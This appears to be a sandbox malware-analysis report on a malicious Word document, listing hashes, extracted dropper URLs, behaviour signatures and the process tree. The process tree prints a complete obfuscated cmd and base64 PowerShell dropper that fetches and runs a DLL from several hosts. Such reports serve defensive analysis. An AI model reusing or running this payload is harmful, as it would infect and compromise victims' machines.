2e6e2e700465216a67088608430ce6d033828eab70f5b94d334b0efe1df19cff

General

Target

Document.doc
Size

103KB
MD5

02e5d621d2408c162ebb433af6838c97
SHA1

0941bfe53d719ae6c3defef2e496d8feb9bd7a74
SHA256

1354c26e824658ca3c3536bce77219b5faf70fe5faf8a9c6dbdb3a026f7fae54
SHA512

472ba777f04d0bb57b5d6a9f588b6769268cdc28c74bca42f044e50cdd5caaf3e96090146e484cceb61defdcd2881399bd378249508ffb067e6a3bd6b7dcb0d9

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://angel2gether.de/BlutEngel/SpeechEngines/

exe.dropper

http://holonchile.cl/cgi-bin/System32/

exe.dropper

http://members.nlbformula.com/cgi-bin/Microsoft.NET/

exe.dropper

http://akybron.hu/wordpress/Triedit/

exe.dropper

https://norailya.com/drupal/4zKMm/

exe.dropper

http://giannaspsychicstudio.com/cgi-bin/Systems/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1492 3360 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

20 3648 powershell.exe
28 2924 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3884 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ckdkrtgyxmpo\meihjafessk.vxk rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1492	3360	cmd.exe

flow	pid	process
20	3648	powershell.exe
28	2924	rundll32.exe

pid	process
3884	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ckdkrtgyxmpo\meihjafessk.vxk	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

648 WINWORD.EXE
648 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exerundll32.exe

pid process

3648 powershell.exe
3648 powershell.exe
3648 powershell.exe
2924 rundll32.exe
2924 rundll32.exe
2924 rundll32.exe
2924 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3648 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

648 WINWORD.EXE
648 WINWORD.EXE
648 WINWORD.EXE
648 WINWORD.EXE
648 WINWORD.EXE
648 WINWORD.EXE
648 WINWORD.EXE

pid	process
648	WINWORD.EXE
648	WINWORD.EXE

pid	process
3648	powershell.exe
3648	powershell.exe
3648	powershell.exe
2924	rundll32.exe
2924	rundll32.exe
2924	rundll32.exe
2924	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	3648	powershell.exe

pid	process
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1492 wrote to memory of 3644	1492	cmd.exe	msg.exe
PID 1492 wrote to memory of 3644	1492	cmd.exe	msg.exe
PID 1492 wrote to memory of 3648	1492	cmd.exe	powershell.exe
PID 1492 wrote to memory of 3648	1492	cmd.exe	powershell.exe
PID 3648 wrote to memory of 3068	3648	powershell.exe	rundll32.exe
PID 3648 wrote to memory of 3068	3648	powershell.exe	rundll32.exe
PID 3068 wrote to memory of 3884	3068	rundll32.exe	rundll32.exe
PID 3068 wrote to memory of 3884	3068	rundll32.exe	rundll32.exe
PID 3068 wrote to memory of 3884	3068	rundll32.exe	rundll32.exe
PID 3884 wrote to memory of 2924	3884	rundll32.exe	rundll32.exe
PID 3884 wrote to memory of 2924	3884	rundll32.exe	rundll32.exe
PID 3884 wrote to memory of 2924	3884	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Document.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:648

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAbAB1AE4AOQBjAFgAPQBbAHQAWQBwAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewA0AH0AewAxAH0AIgAgAC0ARgAnAEUATQAuAEkATwAnACwAJwB5ACcALAAnAFMAWQBzAFQAJwAsACcALgBEAEkAcgBFAEMAVAAnACwAJwBPAHIAJwApACAAOwAgACAAUwBlAHQAIAAgACgAJwBMADQAYQAnACsAJwBIACcAKQAgACgAWwBUAHkAUABlAF0AKAAiAHsANgB9AHsAMgB9AHsAMAB9AHsANAB9AHsAMQB9AHsANwB9AHsANQB9AHsAMwB9ACIAIAAtAGYAJwBFACcALAAnAEUAdAAuAFMARQByAFYAaQBjAGUAcAAnACwAJwBUACcALAAnAGUAUgAnACwAJwBtAC4AbgAnACwAJwBBAE4AYQBnACcALAAnAFMAeQBTACcALAAnAG8AaQBuAHQAbQAnACkAIAAgACkAIAA7ACAAJABEAHAAXwBqAG0AYgB0AD0AJABFADcAOABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABJADAANQBRADsAJABYADUANQBOAD0AKAAnAFEANAAnACsAJwA4AEsAJwApADsAIAAgACQATAB1AE4AOQBDAFgAOgA6ACIAYwBSAGAAZQBhAFQAYABFAGQASQBSAGAARQBgAGMAdABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAAnACsAJwB9ACcAKwAnAEwAJwArACcAbQBsADMAeABiAG4AewAwACcAKwAnAH0AVQA2AGgAdwAnACsAKAAnAGcAbAAnACsAJwBuACcAKQArACcAewAwAH0AJwApAC0AZgBbAEMAaABhAHIAXQA5ADIAKQApADsAJABDADUANQBXAD0AKAAoACcATAA4ACcAKwAnADUAJwApACsAJwBXACcAKQA7ACAAKABnAEUAVAAtAFYAYQByAEkAYQBiAEwARQAgACAAKAAnAGwANABhACcAKwAnAEgAJwApACAAIAAtAFYAYQBMAFUARQBvAG4AKQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAWQBgAHAAcgBvAHQAYABPAGMAbwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABKADAAMQBNAD0AKAAnAFMANAAnACsAJwAxAEYAJwApADsAJABYADYAbABzAGkAYgBiACAAPQAgACgAJwBMAF8AJwArACcAMgBGACcAKQA7ACQAWAA1ADQAUAA9ACgAJwBHADYAJwArACcAXwBZACcAKQA7ACQAUgA3ADIANQAzAG8AZQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAJwArACgAJwBtACcAKwAnAGwAMwB4AGIAJwArACcAbgAnACkAKwAnAHsAMAAnACsAJwB9AFUANgBoAHcAZwBsACcAKwAnAG4AJwArACcAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAEYAIAAgAFsAQwBoAEEAcgBdADkAMgApACsAJABYADYAbABzAGkAYgBiACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABWADMAOQBZAD0AKAAnAFEANgAnACsAJwA2AEUAJwApADsAJABYAGwAdwB2AGwAaAA2AD0AKAAnAHcAJwArACcAXQAnACsAKAAnAHgAbQBbACcAKwAnAHYAOgAnACkAKwAoACcALwAvACcAKwAnAGEAJwApACsAKAAnAG4AZwAnACsAJwBlAGwAMgBnACcAKQArACgAJwBlAHQAJwArACcAaAAnACkAKwAnAGUAcgAnACsAKAAnAC4AZAAnACsAJwBlAC8AQgBsACcAKQArACcAdQB0ACcAKwAnAEUAJwArACgAJwBuAGcAZQAnACsAJwBsACcAKQArACgAJwAvAFMAcABlAGUAJwArACcAYwBoAEUAJwArACcAbgAnACkAKwAoACcAZwBpAG4AZQBzACcAKwAnAC8AQAAnACsAJwB3AF0AeABtAFsAdgA6ACcAKQArACcALwAnACsAKAAnAC8AaABvAGwAJwArACcAbwBuACcAKQArACcAYwAnACsAKAAnAGgAJwArACcAaQAnACsAJwBsAGUALgAnACsAJwBjAGwALwBjAGcAJwArACcAaQAtAGIAJwArACcAaQBuAC8AUwB5ACcAKQArACgAJwBzAHQAJwArACcAZQBtACcAKQArACgAJwAzADIAJwArACcALwBAAHcAJwApACsAKAAnAF0AJwArACcAeABtACcAKQArACgAJwBbACcAKwAnAHYAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAG0AZQBtAGIAZQAnACsAJwByACcAKQArACgAJwBzAC4AJwArACcAbgAnACkAKwAoACcAbABiAGYAbwAnACsAJwByAG0AdQBsACcAKwAnAGEALgBjAG8AbQAvAGMAJwArACcAZwAnACkAKwAoACcAaQAnACsAJwAtAGIAJwApACsAKAAnAGkAbgAvACcAKwAnAE0AJwApACsAKAAnAGkAYwByAG8AcwAnACsAJwBvACcAKQArACcAZgB0ACcAKwAnAC4AJwArACgAJwBOAEUAVAAnACsAJwAvACcAKwAnAEAAdwAnACkAKwAnAF0AJwArACcAeAAnACsAKAAnAG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAYQBrACcAKwAnAHkAJwApACsAKAAnAGIAcgAnACsAJwBvAG4AJwApACsAJwAuACcAKwAnAGgAdQAnACsAKAAnAC8AdwAnACsAJwBvACcAKQArACgAJwByACcAKwAnAGQAcAByACcAKwAnAGUAcwBzACcAKwAnAC8AVAByAGkAZQBkAGkAJwApACsAKAAnAHQALwAnACsAJwBAACcAKQArACcAdwAnACsAKAAnAF0AJwArACcAeABtAFsAdgAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwBuAG8AcgAnACsAJwBhAGkAbAAnACkAKwAoACcAeQAnACsAJwBhAC4AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAC8AZAAnACsAJwByACcAKwAnAHUAcAAnACsAJwBhAGwAJwArACcALwA0AHoASwBNAG0ALwBAAHcAXQAnACsAJwB4AG0AJwApACsAKAAnAFsAJwArACcAdgAnACsAJwA6AC8ALwBnAGkAYQAnACsAJwBuAG4AYQBzACcAKQArACcAcABzACcAKwAnAHkAYwAnACsAKAAnAGgAaQAnACsAJwBjACcAKQArACgAJwBzAHQAJwArACcAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAJwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACgAJwBjACcAKwAnAGcAaQAtAGIAaQAnACkAKwAoACcAbgAvACcAKwAnAFMAeQAnACkAKwAnAHMAdAAnACsAJwBlAG0AJwArACcAcwAnACsAJwAvACcAKQAuACIAUgBFAGAAcABMAGEAYABDAGUAIgAoACgAJwB3ACcAKwAoACcAXQAnACsAJwB4AG0AWwAnACkAKwAnAHYAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAJwArACgAJwBzAGUAJwArACcAdwBmACcAKQApACwAKAAoACcAdwBlACcAKwAnAHYAJwApACsAJwB3AGUAJwApACkALAAoACgAJwBhAGUAJwArACcAZgAnACkAKwAnAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAcwBQAEwAYABJAHQAIgAoACQAQwA1AF8ATAAgACsAIAAkAEQAcABfAGoAbQBiAHQAIAArACAAJABIADQANQBJACkAOwAkAEUAMwAyAFQAPQAoACcAQQA1ACcAKwAnADkASAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAegBfAGMANgBwADIAIABpAG4AIAAkAFgAbAB3AHYAbABoADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOACcAKwAnAGUAdwAnACsAJwAtAE8AYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAWQBTAFQARQBtAC4AbgBFAFQALgBXAEUAQgBDAEwASQBFAG4AVAApAC4AIgBkAGAATwB3AGAATgBsAG8AQQBkAGAARgBpAGwAZQAiACgAJABMAHoAXwBjADYAcAAyACwAIAAkAFIANwAyADUAMwBvAGUAKQA7ACQAVwAwADIAQgA9ACgAKAAnAE0ANgAnACsAJwAyACcAKQArACcAVQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAUgA3ADIANQAzAG8AZQApAC4AIgBMAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA5ADAANwAyACkAIAB7ACYAKAAnAHIAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFIANwAyADUAMwBvAGUALAAoACcAUwAnACsAKAAnAGgAJwArACcAbwB3ACcAKQArACcARABpACcAKwAoACcAYQAnACsAJwBsAG8AZwBBACcAKQApAC4AIgBUAG8AcwB0AFIAYABJAGAATgBHACIAKAApADsAJABLAF8AMgBBAD0AKAAnAEwAMAAnACsAJwAxAEgAJwApADsAYgByAGUAYQBrADsAJABDADcAXwBHAD0AKAAoACcAQgAnACsAJwAxADQAJwApACsAJwBMACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwAzADEARgA9ACgAJwBJAF8AJwArACcAMgBDACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:3644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgACQAbAB1AE4AOQBjAFgAPQBbAHQAWQBwAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewA0AH0AewAxAH0AIgAgAC0ARgAnAEUATQAuAEkATwAnACwAJwB5ACcALAAnAFMAWQBzAFQAJwAsACcALgBEAEkAcgBFAEMAVAAnACwAJwBPAHIAJwApACAAOwAgACAAUwBlAHQAIAAgACgAJwBMADQAYQAnACsAJwBIACcAKQAgACgAWwBUAHkAUABlAF0AKAAiAHsANgB9AHsAMgB9AHsAMAB9AHsANAB9AHsAMQB9AHsANwB9AHsANQB9AHsAMwB9ACIAIAAtAGYAJwBFACcALAAnAEUAdAAuAFMARQByAFYAaQBjAGUAcAAnACwAJwBUACcALAAnAGUAUgAnACwAJwBtAC4AbgAnACwAJwBBAE4AYQBnACcALAAnAFMAeQBTACcALAAnAG8AaQBuAHQAbQAnACkAIAAgACkAIAA7ACAAJABEAHAAXwBqAG0AYgB0AD0AJABFADcAOABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABJADAANQBRADsAJABYADUANQBOAD0AKAAnAFEANAAnACsAJwA4AEsAJwApADsAIAAgACQATAB1AE4AOQBDAFgAOgA6ACIAYwBSAGAAZQBhAFQAYABFAGQASQBSAGAARQBgAGMAdABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAAnACsAJwB9ACcAKwAnAEwAJwArACcAbQBsADMAeABiAG4AewAwACcAKwAnAH0AVQA2AGgAdwAnACsAKAAnAGcAbAAnACsAJwBuACcAKQArACcAewAwAH0AJwApAC0AZgBbAEMAaABhAHIAXQA5ADIAKQApADsAJABDADUANQBXAD0AKAAoACcATAA4ACcAKwAnADUAJwApACsAJwBXACcAKQA7ACAAKABnAEUAVAAtAFYAYQByAEkAYQBiAEwARQAgACAAKAAnAGwANABhACcAKwAnAEgAJwApACAAIAAtAFYAYQBMAFUARQBvAG4AKQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAWQBgAHAAcgBvAHQAYABPAGMAbwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABKADAAMQBNAD0AKAAnAFMANAAnACsAJwAxAEYAJwApADsAJABYADYAbABzAGkAYgBiACAAPQAgACgAJwBMAF8AJwArACcAMgBGACcAKQA7ACQAWAA1ADQAUAA9ACgAJwBHADYAJwArACcAXwBZACcAKQA7ACQAUgA3ADIANQAzAG8AZQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAJwArACgAJwBtACcAKwAnAGwAMwB4AGIAJwArACcAbgAnACkAKwAnAHsAMAAnACsAJwB9AFUANgBoAHcAZwBsACcAKwAnAG4AJwArACcAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAEYAIAAgAFsAQwBoAEEAcgBdADkAMgApACsAJABYADYAbABzAGkAYgBiACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABWADMAOQBZAD0AKAAnAFEANgAnACsAJwA2AEUAJwApADsAJABYAGwAdwB2AGwAaAA2AD0AKAAnAHcAJwArACcAXQAnACsAKAAnAHgAbQBbACcAKwAnAHYAOgAnACkAKwAoACcALwAvACcAKwAnAGEAJwApACsAKAAnAG4AZwAnACsAJwBlAGwAMgBnACcAKQArACgAJwBlAHQAJwArACcAaAAnACkAKwAnAGUAcgAnACsAKAAnAC4AZAAnACsAJwBlAC8AQgBsACcAKQArACcAdQB0ACcAKwAnAEUAJwArACgAJwBuAGcAZQAnACsAJwBsACcAKQArACgAJwAvAFMAcABlAGUAJwArACcAYwBoAEUAJwArACcAbgAnACkAKwAoACcAZwBpAG4AZQBzACcAKwAnAC8AQAAnACsAJwB3AF0AeABtAFsAdgA6ACcAKQArACcALwAnACsAKAAnAC8AaABvAGwAJwArACcAbwBuACcAKQArACcAYwAnACsAKAAnAGgAJwArACcAaQAnACsAJwBsAGUALgAnACsAJwBjAGwALwBjAGcAJwArACcAaQAtAGIAJwArACcAaQBuAC8AUwB5ACcAKQArACgAJwBzAHQAJwArACcAZQBtACcAKQArACgAJwAzADIAJwArACcALwBAAHcAJwApACsAKAAnAF0AJwArACcAeABtACcAKQArACgAJwBbACcAKwAnAHYAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAG0AZQBtAGIAZQAnACsAJwByACcAKQArACgAJwBzAC4AJwArACcAbgAnACkAKwAoACcAbABiAGYAbwAnACsAJwByAG0AdQBsACcAKwAnAGEALgBjAG8AbQAvAGMAJwArACcAZwAnACkAKwAoACcAaQAnACsAJwAtAGIAJwApACsAKAAnAGkAbgAvACcAKwAnAE0AJwApACsAKAAnAGkAYwByAG8AcwAnACsAJwBvACcAKQArACcAZgB0ACcAKwAnAC4AJwArACgAJwBOAEUAVAAnACsAJwAvACcAKwAnAEAAdwAnACkAKwAnAF0AJwArACcAeAAnACsAKAAnAG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAYQBrACcAKwAnAHkAJwApACsAKAAnAGIAcgAnACsAJwBvAG4AJwApACsAJwAuACcAKwAnAGgAdQAnACsAKAAnAC8AdwAnACsAJwBvACcAKQArACgAJwByACcAKwAnAGQAcAByACcAKwAnAGUAcwBzACcAKwAnAC8AVAByAGkAZQBkAGkAJwApACsAKAAnAHQALwAnACsAJwBAACcAKQArACcAdwAnACsAKAAnAF0AJwArACcAeABtAFsAdgAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwBuAG8AcgAnACsAJwBhAGkAbAAnACkAKwAoACcAeQAnACsAJwBhAC4AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAC8AZAAnACsAJwByACcAKwAnAHUAcAAnACsAJwBhAGwAJwArACcALwA0AHoASwBNAG0ALwBAAHcAXQAnACsAJwB4AG0AJwApACsAKAAnAFsAJwArACcAdgAnACsAJwA6AC8ALwBnAGkAYQAnACsAJwBuAG4AYQBzACcAKQArACcAcABzACcAKwAnAHkAYwAnACsAKAAnAGgAaQAnACsAJwBjACcAKQArACgAJwBzAHQAJwArACcAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAJwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACgAJwBjACcAKwAnAGcAaQAtAGIAaQAnACkAKwAoACcAbgAvACcAKwAnAFMAeQAnACkAKwAnAHMAdAAnACsAJwBlAG0AJwArACcAcwAnACsAJwAvACcAKQAuACIAUgBFAGAAcABMAGEAYABDAGUAIgAoACgAJwB3ACcAKwAoACcAXQAnACsAJwB4AG0AWwAnACkAKwAnAHYAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAJwArACgAJwBzAGUAJwArACcAdwBmACcAKQApACwAKAAoACcAdwBlACcAKwAnAHYAJwApACsAJwB3AGUAJwApACkALAAoACgAJwBhAGUAJwArACcAZgAnACkAKwAnAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAcwBQAEwAYABJAHQAIgAoACQAQwA1AF8ATAAgACsAIAAkAEQAcABfAGoAbQBiAHQAIAArACAAJABIADQANQBJACkAOwAkAEUAMwAyAFQAPQAoACcAQQA1ACcAKwAnADkASAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAegBfAGMANgBwADIAIABpAG4AIAAkAFgAbAB3AHYAbABoADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOACcAKwAnAGUAdwAnACsAJwAtAE8AYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAWQBTAFQARQBtAC4AbgBFAFQALgBXAEUAQgBDAEwASQBFAG4AVAApAC4AIgBkAGAATwB3AGAATgBsAG8AQQBkAGAARgBpAGwAZQAiACgAJABMAHoAXwBjADYAcAAyACwAIAAkAFIANwAyADUAMwBvAGUAKQA7ACQAVwAwADIAQgA9ACgAKAAnAE0ANgAnACsAJwAyACcAKQArACcAVQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAUgA3ADIANQAzAG8AZQApAC4AIgBMAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA5ADAANwAyACkAIAB7ACYAKAAnAHIAdQBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFIANwAyADUAMwBvAGUALAAoACcAUwAnACsAKAAnAGgAJwArACcAbwB3ACcAKQArACcARABpACcAKwAoACcAYQAnACsAJwBsAG8AZwBBACcAKQApAC4AIgBUAG8AcwB0AFIAYABJAGAATgBHACIAKAApADsAJABLAF8AMgBBAD0AKAAnAEwAMAAnACsAJwAxAEgAJwApADsAYgByAGUAYQBrADsAJABDADcAXwBHAD0AKAAoACcAQgAnACsAJwAxADQAJwApACsAJwBMACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwAzADEARgA9ACgAJwBJAF8AJwArACcAMgBDACcAKQA=
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3648

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll,ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll,ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3884

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ckdkrtgyxmpo\meihjafessk.vxk",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2924

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll
MD5
238a0e860a00ea4cc8ee2af05f2fbddf

SHA1
9df6ff60eab437a31d0a2117d25663ca6a2f7b73

SHA256
8d750274a3d5721322603b3bb296cc039990b91a9bd2776ed662e0cf70335c24

SHA512
c6a3156ff5efe5fc53962fd1e0e1f1f561a729569656b4e590032ac53d7b0c7c719859e203cfe2d2b39fc29267132c1f6557272243e5c2aaec7a556dadd38210

Download Submit
\Users\Admin\Lml3xbn\U6hwgln\L_2F.dll
MD5
238a0e860a00ea4cc8ee2af05f2fbddf

SHA1
9df6ff60eab437a31d0a2117d25663ca6a2f7b73

SHA256
8d750274a3d5721322603b3bb296cc039990b91a9bd2776ed662e0cf70335c24

SHA512
c6a3156ff5efe5fc53962fd1e0e1f1f561a729569656b4e590032ac53d7b0c7c719859e203cfe2d2b39fc29267132c1f6557272243e5c2aaec7a556dadd38210

Download Submit
memory/648-2-0x000002042EA70000-0x000002042F0A7000-memory.dmp

Filesize
6.2MB

Download
memory/2924-12-0x0000000000000000-mapping.dmp

Download
memory/3068-8-0x0000000000000000-mapping.dmp

Download
memory/3644-3-0x0000000000000000-mapping.dmp

Download
memory/3648-4-0x0000000000000000-mapping.dmp

Download
memory/3648-5-0x00007FF9DCF00000-0x00007FF9DD8EC000-memory.dmp

Filesize
9.9MB

Download
memory/3648-6-0x0000019E846F0000-0x0000019E846F1000-memory.dmp

Filesize
4KB

Download
memory/3648-7-0x0000019E9CB10000-0x0000019E9CB11000-memory.dmp

Filesize
4KB

Download
memory/3884-10-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads